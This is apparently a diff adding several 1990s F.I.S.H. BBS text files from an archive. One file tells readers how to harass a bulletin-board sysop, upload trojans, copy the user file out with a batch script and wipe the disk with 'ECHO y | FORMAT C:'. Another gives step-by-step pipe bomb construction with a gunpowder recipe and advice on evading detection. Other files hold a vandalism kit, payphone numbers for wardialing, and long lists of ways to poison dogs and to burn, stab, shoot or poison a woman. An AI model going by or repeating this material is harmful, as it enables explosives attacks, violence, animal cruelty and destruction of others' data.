ÄÒÄ Ò Ò ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿ ³ + ³ º ÇÄÄ´ ÇÄ Ó·ÚÙ º º º ÇÄÄ´ º Ä¿ ÇÄ ³ + ³ Ð Ð Á ÐÄÄÙ ÓÙ ÄÐÄ ÐÄÄÙ ÐÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ ³ + ³ (916) 244-3569 ³ + ³ Sysops: ³ + ³ For All The F.I.S.H. files FIRST! Punk Rock Girl ³ + ³ & ³ + ³Great original doors! Goatlord ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + +Disclaimer: Don't do it! No, stop! its only information! It +wasn't meant to be actually done! I swear i wont take the blame +if you do this!! + + \ No newline at end of file diff --git a/textfiles.com/groups/FISH/nerdbbs.txt b/textfiles.com/groups/FISH/nerdbbs.txt new file mode 100644 index 00000000..ba8ada29 --- /dev/null +++ b/textfiles.com/groups/FISH/nerdbbs.txt @@ -0,0 +1,125 @@ +How To Kill A Stupid BBS and drive the SysOp Crazy + +A random pile of trash spewed out by Punk Rock Girl for you to +decipher... + + + + +Lets talk about your local BBS. Is it one of those place that +boasts of having the best files and the most wonderful message +subs in the world? Good, that means its run by a 14 year old +little twit and it more than likely SUCKS! +What can you do to protect yourself from invasion of the retards? +Well its really simple. You can destroy their computer with a +sledge hammer or you can drive them crazy and make them leave. + +Step One: + First thing you need to do is pretend to be one of the mindless +modem pigs and call them up. Log in as new and use REAL +information. If everything goes good it wont matter if they have +your info since they wont be around very long anyway. + If the SysOp makes you leave feedback to him then just say the +usual crap about how you got the number from some BBS list they +plastered their name all over and how you think that they are the +neatest thing to happen since tampons. + Now you need to look around the BBS. You probably wont have +access to anything because the SysOp is a paranoid little phoebe +and only lets you log off or leave mail to him. Hang up. + If the guy calls you and voice-validates you then tell him your +house is on fire and you can't talk to him ( you should tell this +to everybody on the phone.) Now you are valid on the stupid BBS +and you can look around. + Call it and do the following. Look at all his message subs and +file areas, look at the user list, and look at what doors he has. +Now for the fun part. + You need to get the name of a kid who is never at HIS house. +Some person who is always hanging around at the neighbors house +or something. Lets say his name is Dustin ( what a stupid name!) +Now you need to get your neighbors phone number. + Log into the BBS as new. When it asks your name say Dustin. +When it asks you number just say the number of the people Dustin +hangs out with all the time. In the feedback ( or letter you send +him anyway ) tell him you are at school for 700 hours a day and +that you are home from 5:00pm to about 6:00am. Now when the +little sysop calls to voice validate him they will say "No sorry +he is not here right now" he'll just think that you are hard to +reach, not that you don't exist. + If you have a better plan then by all means use it, this is +just an idea for you `brain impaired' people who are reading +this. + Now you have a FAKE account to hack and trash the goober BBS +with. + +Step Two: + Drive the sysop crazy. Leave him letters ALL the time about how +your file credits are going down and you can't download anything. +Tell him when you log in it says that there is no time left and +it logs you off. Go to the message subs and post way off topic, +talk about your vacation or something. Remember that this is a +fake account so you can make up fun stuff about how you have +syphilis. + Now to the doors section. If this guy has such a great BBS he +must have something really good online. All the better to wreck +things with. Use every door 70000000 times a day and keep getting +new accounts every time, fighting with everybody, ALT-H in the +middle of the game... + Most of the people who run doors must run them through BATCH +files. Abort the batch file, sometimes fun stuff happens. Mostly +you get to see some path names from DOS. + Just remember the name of the directory his BBS is in. Now +upload him a trojan horse to kill everything in that directory. +Something even more creative would be to copy the USER.SL2 +STRING.TXT USER.FIL whatever... to a directory where you can +download it. Take for instance the fact that he has a file called +K-RAD.ZIP in a directory called misc, available for download. All +you gotta do is copy his user file into the same directory as K- +RAD.ZIP and call it K-RAD.ZIP! Now you can download his user +file! All you gotta do is upload him a program that says this +(theoretically) : +@ECHO OFF +COPY C:\BBS\USER.DAT C:\BBS\MISC\K-RAD.ZIP>nul +echo Incorrect DOS Version +That's just stupid batch file, but if you have a brain you can +write this into a program in .3 seconds so it looks more like +something the SysOp will want to run. Now just call and download +K-RAD.ZIP +Then upload PROGRAM1.EXE to him, then PROGRAM2.EXE. +TA DA! + +Log in as anybody you want or just log in as the sysop and play +with his DOS. +Things to do in dos would include: +Delete everyfile on his hard drive directory by directory, DONT +say *.*, any question DOS asks that requires a yes or no answer +will not let a remote user answer. You should just say DEL *.exe +and then DEL *.COM and then... etc until they are all dead. Now +you need to go to the root directory and remove the directories. +But wait he can still use UNDELETE! You need to run PROGRAM1.EXE +right now. + +Just format the stupid thing. How to do it without getting hung +up on? Simple type this EXACTLY! + +ECHO y | FORMAT C: + +That should work... dont get your hopes up. + +If you dont wanna take any chances then just run PROGRAM2.EXE and +watch everything DIE! + +Oh yeah, after you run program2 I wouldn't run anything from a +BBS... EVER again... heeheeheeheeheehee ( assuming his computer +still works ) + +Method Three: + +Upload the file PROGRAM3.COM to the sysop. Tell him its a great +new ANSI advertisement for his BBS! If he is stupid he will run +it. Once again, dont run anything you get from him... or anyone +who gets anything off his computer. HAHAHAHAHAHAH!!! + +That's the end. I hope you put this file to good use. Bye. + + Punk Rock Girl + \ No newline at end of file diff --git a/textfiles.com/groups/FISH/nrktools.txt b/textfiles.com/groups/FISH/nrktools.txt new file mode 100644 index 00000000..7e7cd051 --- /dev/null +++ b/textfiles.com/groups/FISH/nrktools.txt @@ -0,0 +1,89 @@ + F I S H + For all your phun stuff... + + presents: + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ The Anarchist's Toolkit ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + + +This will be a short file. It is basically a rewrite of a really cool +file I found a long time ago (5+ years) that I have been unable to find +since. If you find the original of this file somewhere, please upload +it to DeBBie'S CLoSeT or The Sect, the latter with a message saying to +send it to The Infidel. + +DISCLAIMER: This file is for informational purposes only. blah blah + yakety smackety hoo doo doo yim yam flim flam bom bam boo + + + +-------------------------------+ +-------------------+ Create your own ANARCHY Kit +---------------------- + +-------------------------------+ + +So, you have decided to become a little devil-worshipping, societal +outcast anarchist. Well, you will need a toolkit. This isn't +absolutely mandatory, but it is great to store in your car or elsewhere +for those spontaneous destructive urges. Here are the things you will +need to make your own Anarchist Toolkit: + ++ Bag or box to store it all in. If you are just going to be carrying it + around on foot, a backpack might be a good choice, because you then have + both hands free, and can just run your ass off if the need arises. Use + a box if you are going to store it in your car. A Hickory Farms gift + box works nicely. ++ Hammer. Use this to randomly break things to pieces. Things like: + lights, mailboxes, birdbaths, windows, cars, random children, dogs, + anything that is breakable is fun. ++ Phillips and regular screwdrivers. You never know when you will need + one of these. You can dismantle someone's car, pry open things with + the regular head screwdriver, chisel away and make statues out of + babies. Anything. Having multiple sizes is nice, because you may + come across small screws, or very large ones. ++ 7/16 wrench, with a thin lip. This is for breaking into random phone + boxes and miscellaneous other garbage. ++ Crescent wrench. To unscrew multiple sized bolts, nuts, whatnot. ++ Glue, the anarchists friend. There are unlimited things you can do + with a good tube of rubber cement. The more the hairier. For more + suggestions on what to use glue on, see our other file, Vandal 3. ++ Phone cord and handheld phone. This is the phreak's friend. You can + use it to dial 1-900-HOT-SEXX or whatever your fantasies desire. See + also: Vaseline. Alligator clips are nice as well. ++ Gunpowder. You never know when the pyromaniac inside everyone will + come out. ++ Slingshot. There are countless things to shoot at during the wee hours + when you will be out doing your mischief. ++ Gloves. You might run across something sensitive you don't want to get + fingerprints on. If you drive, they've got your fingerprints. That's + what that little thumb scanner does at the DMV. ++ Wirecutters. These have almost unlimited utility to the bored anarchist. + Use them to, well, cut wires. You can splice phone lines, cut a hole + in a bothersome fence, cut a hole in a bothersome Doberman, etc.. ++ Pocketknife. A Swiss Army knife is best, because you just might need + to pop the cork out of a bottle of Chardonnay while out being naughty. ++ Money. For those late night snack urges. Just throw a 5 in the bag and + forget about it, so you won't raid it later to support your crack habit. ++ Rope. This might be unneccesary, but it all depends on how you waste + your Saturday nights. ++ Crowbar. This is also somewhat optional, but it helps when you need to + pull the lids off of manholes. ++ Spray Paint. Preferably a nasty color like chartreuse. For those vandal + instincts in everyone. ++ Toilet Paper. This is unneccesary all the time, but keeping a spare roll + around just might prove useful sometime. ++ Flashlight. For obvious reasons. ++ Laptop computer. If you've got it, bring it with you. Always proves + useful. A modem is basically necessary if you bring this, though not + always, if you find a port somewhere. ++ Lighter. For setting anything in sight on fire, lighting bombs, burning + obnoxious killer death spiders of +5 annoyance. Lots of uses for them. ++ Lighter Fluid. Like that Ronsonol junk at your local 7-11. Just ask + Rashneesh for zippo fluid. Get the yellow bottle. This stuff leaks, so + put it in a ziploc(tm) bag. or something leakproof. Make sure it's the + yellow and blue makes green kind or you might spill, because you can't + just squeeze the bag and make sure it's closed. NO! Then Glad wouldn't + make any money. This is for making pretty pictures on cement and setting + it on fire, or maybe making pretty pictures in Timmy's hair and setting + him on fire. Whatever, just get some. It's useful and cheep! diff --git a/textfiles.com/groups/FISH/payphone.txt b/textfiles.com/groups/FISH/payphone.txt new file mode 100644 index 00000000..be9db323 --- /dev/null +++ b/textfiles.com/groups/FISH/payphone.txt @@ -0,0 +1,117 @@ + Its another file by those gods of watermelon: + + ÚÄÄÄÄÄ¿ ÚÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄ¿ ÚÄ¿ + ³ ÚÄÄÄÙ À¿ ÚÙ ³ ÚÄÄÄÙ ³ ³ ³ ³ + ³ ÀÄ¿ ³ ³ ³ ÀÄÄÄ¿ ³ ÀÄÙ ³ + ³ ÚÄÙ ³ ³ ÀÄÄÄ¿ ³ ³ ÚÄ¿ ³ + ³ ³ ÚÙ À¿ ÚÄÄÄÙ ³ ³ ³ ³ ³ + ÀÄÙ ÀÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ + + For all your phun stuff... + + FISH presents... + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + A List of Redding Payphones + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +DISCLAIMER: This file is for informational porpoises only. The authors of + this file take no responsibility for your actions. We do not condone + misuse of this information in any way, and again, take no responsibility + for the consequences arising from your use or misuse of this information. + +That said, now we can get down to business. This file is basically a list +of payphone numbers in the Redding, California area. All are local calls, +so there would be no reason not to put them into a wardialer and let it go +at it for a couple of days. It is best to do this during business hours, +or weekends, because that is when people are likely to be around to answer +the phones. There are actually two lists contained in this file. The one +in this file contains an alphabetical list of places, with the phone number +following. There are a few comments strewn about through the file. The +other file is just a list of the numbers themselves, one number per line, +sorted numerically. This is to facilitate the use of them as input into +whatever wardialer kicks your fancy. There are no dashes, nothing else in +that file. Just one number per line, 7 digits. I whipped up a wardialer +I can use this file with in the space of an hour, and if you have any brain +whatsoever, you can do the same thing. Even in BASIC (if you are a complete +masochist). + +I. Alphabetical List of Payphone Numbers +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +1-Stop, Eureka Way 243-9772 +7-Eleven, Eureka Way 243-9810, 243-9612 +7-Eleven, Lake Blvd. 243-9613, 243-9614 +7-Eleven, Placer Rd. 243-9811, 243-9812 +76, Shasta St. 241-9904, 241-9842 +98 Cent Store, Athens Ave. 243-9603 +Albertsons, Hilltop Dr. 223-9766 +AM-PM, Bechelli Ln. 221-9824 +AM-PM, Lake Blvd. 241-9720, 241-9717 +Amtrak Train Station 241-9976 +Arriba's Cafe, Lake Blvd. 241-9934 +Bank of California, Market St. 241-9937 (phone is on South St.) +Bartels, Eureka Way 243-9990 +Bartels, Lake Blvd. 241-9975 +Beacon, Eureka Way 243-3106 +BP, Park Marina 243-9820 +Burger King, Eureka Way 243-9831 +Buz's Crab, East St. 244-6308 +Carls Jr., Churn Creek Dr. 221-9900, 221-9902 +Carls Jr., Lake Blvd. 243-3931 +Chevron, Lake Blvd. 243-9806 +Derringer, Bechelli Ln. 223-9745 (prank me!) +Downtown Redding Mall 241-9748, 243-9865, 243-9792, 241-9753, + 241-9837 +Food 4 Less, Churn Creek Dr. 222-9591, 221-9004, 221-9813 +Food Connection, Lake Blvd. 241-9916, 241-0742 +Gold St. Liquors, Gold St. (duh) 241-9981 +Gold's Gym, Athens Ave. 243-9744 +Greyhound Station, Pine St. 241-9757 (outside) +Greyhound Station, Pine St. 241-9907..241-9912 (indoors :) +Hinkles Market, N. Market 243-9858, 243-9899 +Holiday Market, Eureka Way 241-9708, 241-9735 +Holiday Market, Bechelli Ln. 223-9728 +Jack In The Box, Dana Dr. 221-9823 +Larsons Superstores, Park Marina 241-9910 +Liquor Barn, Bechelli Ln. 221-9803 +Mall Mart, Hilltop Dr. 223-9735, 223-9748 +Mt. Shasta Mall (outside) 221-9014, 221-9008 +Orchard Supply, Athens Ave. 243-9609 +Party Shop Liquor, Eureka Way 243-9805 +Pay Less, Downtown Mall 241-9943, 243-9869 +Pay Less, Hilltop Dr. 222-9581, 223-9779 +Raleys, Lake Blvd. 241-9900, 241-9901 +Redding Convention Center (outside) 243-9854, 241-9779 +Round Table, Lake Blvd. 241-9728 +Safeway, Cypress Ave. 243-9930, 243-9931 +Shell, Eureka Way 243-9768 +Sherwin-Williams Paint, Athens Ave. 243-9797 +Shopko, Lake Blvd. 243-9602 +Showboat Lounge, Park Marina 241-9937 +Sunset Market, Eureka Way 243-1028, 243-3436 +Teen Center, Quartz Hill Rd. 241-9730 +Texaco, Lake Blvd. 244-7213 +Texaco, Pine St. 243-9789, 243-9702 +Wendy's, Pine St. 243-9762 +Winchells, Hilltop Dr. 221-9111 +Winchells, Pine St. 241-9944 + +II. Numerically Sorted List of Payphone Numbers +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +See raw.txt, included in the archive. + + +Have fun. Eat mice. Die breathing. + +The Infidel + + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + | Phor more phun phor all occasions, call: | + | | + | The Sect DeBBie'S CLoSeT | + | FISH World Headquarters I FISH World Headquarters ][ | + | FISHNet 666:13/1 closet.????????.net | + | 408/ifo-rgot 916/not-4you | + | Sysop: Punk Rock Girl Sysop: THe iNFiDeL | + | v.34/2.4gb/programming/arcane 33.6/3.3gb/programming/arcane | + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + diff --git a/textfiles.com/groups/FISH/pbprimer.txt b/textfiles.com/groups/FISH/pbprimer.txt new file mode 100644 index 00000000..3cb452ad --- /dev/null +++ b/textfiles.com/groups/FISH/pbprimer.txt @@ -0,0 +1,192 @@ + Its another file by those gods of watermelon: + + ÚÄÄÄÄÄ¿ ÚÄÄÄ¿ ÚÄÄÄÄÄ¿ ÚÄ¿ ÚÄ¿ + ³ ÚÄÄÄÙ À¿ ÚÙ ³ ÚÄÄÄÙ ³ ³ ³ ³ + ³ ÀÄ¿ ³ ³ ³ ÀÄÄÄ¿ ³ ÀÄÙ ³ + ³ ÚÄÙ ³ ³ ÀÄÄÄ¿ ³ ³ ÚÄ¿ ³ + ³ ³ ÚÙ À¿ ÚÄÄÄÙ ³ ³ ³ ³ ³ + ÀÄÙ ÀÄÄÄÙ ÀÄÄÄÄÄÙ ÀÄÙ ÀÄÙ + + For all your phun stuff... + + FISH presents... + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Pipe Bomb Primer + -=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + +DISCLAIMER: This file is naughty, and should only be used with parental + supervision. Entertainment purposes only. No no no little children + bad bad bad. This one is truly really naughty, in that you could + blow your fucking fingers off, so be CAREFUL. As usual, the FISH + Gang takes NO responsibility for your stupid actions after reading + this file, and we really don't recommend that you carry anything you + might find within, out. Yes, that made sense. Shut up jerk. It did + too! + +Part Eins: Sure, everyone and their iguana has made a PHile on making + Pipe Bombs, and you're probably pretty damned sick of them by now, as + you being the leech, probably have your disk boxes filled with garbage + such as this one. So, what makes this one more special than any of the + other ones? Well, we've been BUSTED for doing this stuff. hahaha + You KNOW its gotta be good, then.. ANYway, you'll find within, the + complete, annotated, unabridged, dyslcexi, always fun-filled guide on + making your own kabomb. + +Part Zwei: + + Commercial + +Part Drei: + Ok, this is all from personal experience, and practice. You will need + the following items. Now note, that a 16-year-old kid (I don't know how + old you are and I don't really give a donkey so I'll just assume you're + 16) walking into a hardware store and buying the following items might + look just a LITTLE suspicious, so it might be best to either send some- + one older in, or buy these parts one at a time, possibly from different + hardware stores. Or, what I have found works REALLY well, is to take a + piece of paper in with a note from your mommy containing a list of the + items you need. Make sure the writing looks good on it, or the "smart" + sales clerk might not buy it. You can take it up to a guy, and tell him + the things you need, and if you think the list looks good enough, you + can just hand it to him and say you need the following items. You might + also want to shove another couple of cheapo items on there to throw him + off, if you have the CH-CHING$ at the hour of need. + + This crap you can snatch from a hardware store: + + PVC pipe, 4-8" long, 1" in diameter or so. 3/4" is fine, whatever. + preferably threaded. You can get these from any hardware store. + + Two end caps for the same diameter pipe. + + Some Plumbers cement stuff. You can also inhale this deeply and have + a little more fun putting your kabomb together. Its just glue that + turns into plastic. Get whatever is available. + + Garden Sulfur, for killing snails and stuff. Make sure the sulfur + is almost pure. If you can't read, then siyu snne siix ois. You + might need to go to a nursery (not the baby kind) to get it pure. + + Mortar and Pestle. + + Some kind of silly-putty consistency junk. You can use those drafting + erasers, sticky putty for picking things up, anything of this dry, + gummy consistency is perfect. + + Fuse. from anything. steal it from your parents fireworks, or buy + a small roll from a gun shop. Make your own. who cares, as long + as it burns well. + + This gunk you can swipe from a pet shop: + + Fishtank Charcoal. + + Doggy to sacrifice. (preferably a rat terrier. they yap a lot) + + Then, you walk into the pharmacy, passing down the douche aisle (shield- + ing your eyes of course) and walk up to the counter, with your fake note, + and say, "Hi, ummm.. my mom gave me this note this morning, and said I + was supposed to pick up some... Salt-petre.. Do you have any?" I also + find that it helps to mispronounce Saltpetre if you look REALLY young or + really suspicious. Don't walk in with your PVC pipe in your hand, or + you deserve whatever befalls you. If she asks you what its for, say you + are not sure, but you think is has something to do with your dog. If she + still bugs you, target her house to blow up, and find the stuff somewhere + else. Now, it comes in little 4 oz. plastic bottles, so you might need + two or three. It is also like $4 per bottle, so make sure you have + enough. Just get enough so you don't have to go back multiple times, but + not too much to arouse suspicion. I'd say 4 is pushing it. + +Part Vier: So you get your crap home. Make sure you have someplace to hide + everything, and make sure it is a GOOD place, because as dumb as you may + think your mommy and daddy are, they will most likely figure out what that + box full of high explosive paraphernalia is in your room. If you come + home from school before your parents get home, good deal. Anyway, don't + make TOO much of this stuff at one time, and don't store too much of it + together at one time, because if you make a mistake, and you have 15 lbs + of it together, I'd say bye bye Mr. Housey, and you'd have a k-rad time + explaining that to your parental units, especially when you are living + under a bridge, because your idiot dad didn't pay his premium on his + homeowners insurance this term. Yup, I'd bet they'd be pretty pleased. + Anyway, so you got yer box to store it in, and yer going to be careful as + cake. + +Part Funt: Ok, you've got everything. The world is looking good. The sky + is in the air, and the birds are breathing. There's weather out there. + Wait until sometime your parents are gone, or roommates, or whatever, if + you're not living with your parents. Now get out your mortar and pestle, + put some saltpeter in it, and start grinding away until it is a fine + powder. Put this aside, grind some charcoal, until that, too, is a fine + powder, and put it aside, as well, but not with the saltpeter yet. The + sulfur is fine enough to use as is, so you don't need to grind that. It + stinks anyway. Now, the proportion of saltpeter:sulfur:charcoal is: + 6 parts saltpeter + 3 parts charcoal + 1 part sulfur + It is best to do this by weight, as that is the most accurate measurement, + but you can do it by volume if you don't have a drug scale, which you most + likely do, because you are a little dope-addicted, subversive, maladjusted, + antisocial menace to society. If not, just use your mommy's measuring + spoons. Put these in some kind of container, and stir or shake gently. It + won't explode if you stir it violently, but you don't want to spill any. + Now go out to a well ventilated area, or not if you wanna get high, and + take the PVC pipe and one of the endcaps you bought. Incidentally, getting + high off rubber cement fumes is about the stupidest thing I can think of + right now, so don't do it. You'll *literally* fry your brain. Take a + slotch of the rubber cement and dab it on one end of the PVC pipe, where + the threads are. now put the cap on, and give it a little time to dry. + While this is drying, take a drill and drill a hole in the other end of the + pipe just slightly smaller than the fuse. Put the fuse through the hole, + and then on the inside wrap most of the silly putty junk around the fuse + to keep all the pressure in. Make sure some of the fuse sticks out, so it + can go into the gunpowder, moron. You can also put some on the outside to + achieve the same thing. Just pack it down hard so it stays and is airtight. + Next step, pour the gunpowder into the pipe, trying not to spill any. + Now tamp it down a couple of times, and pour more in. Gunpowder is very + light, so you can probably do this a few times, and get about 1/4 more + gunpowder in there than you had originally poured in. Now, put some cement + on that end of the pipe, trying hard not to get any gunpowder on the brush + or anything messy and sloppy like that. Take pride in your work. And + now put the lid on it, making sure the fuse is firmly seated inside the + gunpowder. Screw it on tight, and now let it sit until the cement dries. + Just stash it, and clean up your mess. You really need to clean any spoons + knives bowls anything you used well, especially if it is utensils you use + for cooking or eating from. Saltpeter causes sterility; that's what it is + actually supposed to be used for. And it doesn't taste very good anyway. + So just clean up after yourself, unless you don't want any more brothers + or sisters, but hey, it's your life if you want to poison your parents and + yourself. I take NO responsibility whatsoever for your actions. You + shouldn't even be reading this. You should be in bed. Anyway, stash the + bomb somewhere safe and secret, like your heating duct, or whatever. Note + the heating duct gag. DON'T PUT IT THERE unless you don't like your house + a lot, and want the insurance money. But that's another scheme. Just put + it somewhere nice and cool where your parents won't find it. + +Part Sex: (it's German, you repressed little monkey) Now, just take the + bomb with you, when you have your target, light it, and RUN! I hope you + have a long fuse. For a short time delay, tear a hole in a cigarette near + the filter, and put the fuse through the hole. Light the cigarette and + walk away slowly. You've got like 5-10 minutes or so now. Either get the + hell away from the scene altogether, or get in a safe vantage point, and + bring binoculars or something. When that bomb goes off, it will wake the + dead. If it just smokes a lot, then you didn't put enough putty in, and + it didn't build enough pressure to blow up. It's your fault, not mine. + Trust me, I've done this. Anyway, if it only smokes, and noone wakes up, + go and get the pipe out of wherever you put it, and get rid of it across + town somewhere. Wipe it down to get rid of your fingerprints, too. You + don't want THEM to come down on you. If it does go off, it is in shrapnel + anyway, and they'll never get fingerprints. But run your ass off, or if + someone sees you, just say it woke you up or something. Social engineer. + Lie, as it were. Make up a good lie, but don't make it too complicated. + Simplicity in lying is the best thing. If you are with your friends, the + highest honor you can do if you're caught, and they aren't, is to say you + are alone. Never rat out your friends, no matter what you do. And always + run different directions. It is best to agree on a meeting place later, + in case you get separated. Synchronize your Swatches. Do whatever it + takes to make sure everyone gets back together later, so little Timmy does + not get left behind. Don't take pictures of the blast, videotape it, + anything that can get you convicted later. And most of all, be careful. + I don't want any 12 year olds with less than 10 fingers. + + /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + | Phor more phun phor all occasions, call: | + | | + | The Sect DeBBie'S CLoSeT | + | FISH World Headquarters I FISH World Headquarters ][ | + | FISHNet 666:13/1 FISHNeT 666:13/0 | + | 801/ifo-rgot 916/kill-me! | + | Sysop: Punk Rock Girl Sysop: THe iNFiDeL | + | v.34/1250m/programming/arcane v.34/1200m/programming/arcane | + \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ diff --git a/textfiles.com/groups/FISH/petpeeve.txt b/textfiles.com/groups/FISH/petpeeve.txt new file mode 100644 index 00000000..cdb790ae --- /dev/null +++ b/textfiles.com/groups/FISH/petpeeve.txt @@ -0,0 +1,203 @@ +Yes! It IS another F.I.S.H. phile! Hooray for F.I.S.H.!!! + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Do your neighbors have annoying little dogs that bark their heads + off any time you step foot outside? Does your mom feel sorry for + some scummy white trash bitch and let her stay at your house? + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + DO SOMETHING ABOUT IT!!! + -=-=-=-=-=-=-=-==-=-=-=-=-=-=-=- + +|============================================================================| +| DISCLAIMER: As usual, this is for informational porpoises. Don't do this | +| at home, kids! blah blah blah No no Don't do this junk. I wrote it to | +| make you laugh. Yeah.... that's it! -Me | +|============================================================================| + + + Part I. The cute little woofy-woofys +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + How do you make those annoying neighbor dogs stop barking? + +1. Hose them down with a garden hose +2. File a complaint with your local humane society +3. Slip them some meat with lye or drano or some other fun substance + on it +4. Tell your neighbors that if they don't stop barking you'll kill them +5. Hit them on the head with a hammer - scramble their brain a little +6. Yell at them until they die +7. Steal someones cat and throw it over the fence so they chase it +8. Throw rocks at them until your neighbor comes and yells at you +9. Set them on fire. Make it look like an accident +10. Run the little beasties over +11. Kick their cute little heads +12. Pull their ears off +13. Accidentally open your neighbors gate and set them free +14. Stomp on them until they stop squealing +15. Steal their food so they starve +16. Sew their mouths shut +17. Muzzle them +18. Give them alum +19. Give them laxatives so they ... in the house +20. Give them lots of cheese so they can't ... at all +21. Feed them battery acid +22. Give them hot salsa + +Ok no more... + + + + Part II. The stupid scummy bitch +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + How do you rid yourself of her? Or at least make her life hell. + +1. Put itching powder in her bed +2. Have your friends egg her car +3. Have your friends break her cars windows +4. Have your friends paint her car +5. Have your friends stick bologna to her car - it rips off the paint + when it dries. Taco sauce works well too. Anything spicy +6. Phreak off her phone line and run up her bill +7. Steal her credit cards and her versateller card and steal money +8. Steal her mail +9. Read her mail +10. Burn her mail +11. Noise box (q.v.) her line +12. Disconnect her phone line +13. Beige box her line and listen in on her conversations +14. Use her conversations against her +15. Tell her boyfriend she came home with another guy +16. Eat her mail +17. Poison her food +18. Sabotage her cooking when she's not looking +19. Leave thumbtacks on her carpet +20. Put vaseline all over the towels in her bathroom +21. Sneak in the bathroom while she is in the shower and take + all the towels. No peeking, you pervert +22. Lock her in her room with your own little lock, on the outside +23. Paint her windows black so she thinks it is nighttime, and + reset her clocks +24. Paint her windows black and turn her power off +25. Does she smoke? Give her an exploding cigarette +26. Put vaseline on the toilet seat +27. Eat all the food she buys +28. Torment her cat +29. Murder her cat. Watch her cry +30. Staple her sleeves shut +31. Glue her sleeves shut +32. Remove her sleeves +33. Eat her sleeves +34. Eat her arms +35. Put cups of water on top of her door. Splash! +36. Hit HER on the head with a hammer - Scramble her brain a little +37. Root through her room and take something important. Burn it +38. Set her room on fire +39. Set her on fire +40. Slash her convertible's vinyl top - works well in the rain +41. The old standby - bananas in the tailpipe +42. File a complaint with her boss about her - get her fired +43. Pop her waterbed - watch her go for a swim +44. Unroll her TP and put ben gay on it and roll it back up +45. For more scalding fun, put red pepper on the ben gay +46. Superglue her toothbrush down +47. Does she have small rodents as pets? Staple them to their cage +48. Staple her cats tail down to the floor +49. Put contact explosives on her floor +50. Open up the heating duct in her room and leave fine smelling + substances in there like: squid oil, limburger, eggs, a cup + of urine, dog droppings, her socks +51. Put dye in her mouthwash +52. Put some Jell-O in her bed. Preferably green +53. Sabotage her birth control - poke pins through her condoms +54. Does she get that "Not-So-Fresh" feeling? Add some gasoline! +55. Use that stinky perfume they have at humor shops and replace hers + with it +56. Feeling daring? Stab her +57. Pay some hit guy to run her off the road +58. Sell her possessions in one of those classified local magazines +59. Throw her stuff away +60. Assassin box her phone - the one that shocks you +61. Put some gun powder in her light bulb so when she turns it on, + bye bye filthy whore +62. Bump into her and spill grape juice on that new white suit +63. Spike her coffee so she goes to work drunk, or crashes her car +64. Take up the violin and hit some *awful* notes when you practice +65. Fill her car up with water and put some goldfish in there +66. Put sugar in her gas tank +67. Dig a hole in your front yard and cover it with sod so she falls in +68. Spikes at the bottom of the hole would be nice +69. Put balloons behind her tires so she thinks she popped them +70. Slash her spare tire, then put a nail behind her other tire +71. Put tigers in her closet +72. Get Satan to come here and take her soul +73. Can you tell I'm getting desperate? +74. Steal her car battery +75. Pay some guy to do a drive-by. They blame them on gangs +76. Or just shoot her yourself. Make sure she dies! +77. Play your tuba all night long +78. Steal all of her unmentionables and set them on fire. No underwear! +79. Call your favorite BBSs -- in Tokyo -- from her room +80. Siphon the gas out of her tank, and use it for your car. She'll be + late for work. Works more than once +81. Pee on the toilet seat. Women hate this +82. Switch hydrogen peroxide for her listerine. Doesn't do anything, but + it tastes like ships +83. Switch unleaded for her Listerine. Watch her slowly be eaten away +84. Or offer to help: light a match +85. Staple her eyelids shut +86. Does she have any hobbies? Like archery? Cut her bow string +87. Is she a total bitch? sew her mouth shut +88. I like Ike! +89. Is she liberal scum? Register her with the Republicans +90. Send her junk mail +91. Send her flowers from another woman +92. Give her number out in the bathroom stalls at a gas station +93. Auto-annoyance dial her +94. Steal a bunch of chickens and put them in her room +95. Play loud music, but something bonoxious like country or rap +96. Shave her cat, dye it green, and paint it plaid. Watch her cry +97. Plant a bomb in her stuffed animal +98. Get bones and leave them at her door when your friends come over. + they will think she is psychotic +99. Call 911 on her. Say she is trying to kill you +100. Run over her cat with a lawnmower +101. Smash her cat with a steam roller +102. Open up her car and remove random parts +103. Clip her fan belt so her car overheats +104. Let out her power steering fluid +105. Let out her power brake fluid +105. Short her battery out +106. I am sick of talking about her car +107. Answer her phone and forget important messages +108. Get all of her stuff and set it up on the front lawn the same way it + was in your house +109. Serve her with an eviction notice +110. Paint her room day-glo green +111. Is she epileptic? Shine a strobe light at her and watch her have + a seizure +112. Loosen the bolts in her ceiling fan +113. Take up bowling. Drop the ball on her toe +114. Take up tennis. Play in her room +115. Degausse her cheesy tapes +116. Shove a magnet on her 